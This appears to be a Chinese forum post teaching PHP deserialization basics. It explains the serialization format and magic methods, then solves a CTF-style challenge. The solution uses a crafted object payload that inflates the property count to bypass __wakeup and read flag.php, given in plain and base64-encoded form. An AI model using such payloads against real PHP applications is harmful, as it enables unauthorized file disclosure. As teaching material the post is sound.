反序列化入门



  • 6d68c96e-47b0-4314-ae51-428fbc2d5b44-图片.png 序列化serialize() 实例:
    <?php
    $sites = array('t1', 'tt2', 'ttt3');
    $serialized_data = serialize($sites);
    echo $serialized_data;
    ?>
    --->a:3:{i:0;s:2:"t1";i:1;s:3:"tt2";i:2;s:4:"ttt3";}
    a代表数组

    或者用对象:
    class C{
        public $c;
       }
    O:1:"C":1:{s:1:"c";s:8:"flag.php";}
    O代表对象:1对象名长度:“C”对象名:1变量数:{s表示字符:1长度:“c”名称;内容。。。}

    反序列化
    unserialize('O:1:"C":1:{s:1:"c";s:8:"flag.php";}');
    会生成对象;

    不同空间类型反序列名称不同:
    class Test
    {
    public $handle1;
    private $handle2;
    protected $handle3;
    }
    对应:O:4:"Test":3:{s:7:"handle1";s:3:"777";s:17:"%00Test%00handle2";s:3:"888";S:14:"%00*%00handle3";s:3:"999";}

    利用
    php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用,比如__construct当一个对象创建时被调用,__destruct当一个对象销毁(代码运行将结束,释放对象时)时被调用,__toString当一个对象被当作一个字符串使用。

    例题:
    <?php
      class SoFun{ 
        protected $file='index.php';
        function __destruct(){
            if(!empty($this->file)) 
            {
                //查找file文件中的字符串,如果有'\'和'/'在字符串中,就显示错误
                if(strchr($this->file,"\")===false &&  strchr($this->file, '/')===false)
                {
                    show_source(dirname (FILE).'/'.$this ->file);
                }
                else{
                        die('Wrong filename.');
                    }
            }
        }
        function __wakeup()
        { 
            $this-> file='index.php';
        } 
        public function __toString()
        {
            return '';
        }
        }     
        if (!isset($_GET['file']))
        { 
            show_source('index.php'); 
        } 
        else{ 
           $file=base64_decode( $_GET['file']); 
           echo unserialize($file ); 
        } 
    ?>  #<!--flag in flag.php-->

    初始payload = ?file=O:5:"SoFun":1:{s:11:"\00*\00file";s:8:"flag.php";}
    要绕过__wakeup:
    payload = ?file=O:5:"SoFun":2:{s:11:"\00*\00file";s:8:"flag.php";}
    Payload对象属性个数为2,而实际属性个数为1,那么就会掉入漏洞,从而跳过wakeup()方法。
    经过base64加密后
    payload = ?file=Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==


Log in to reply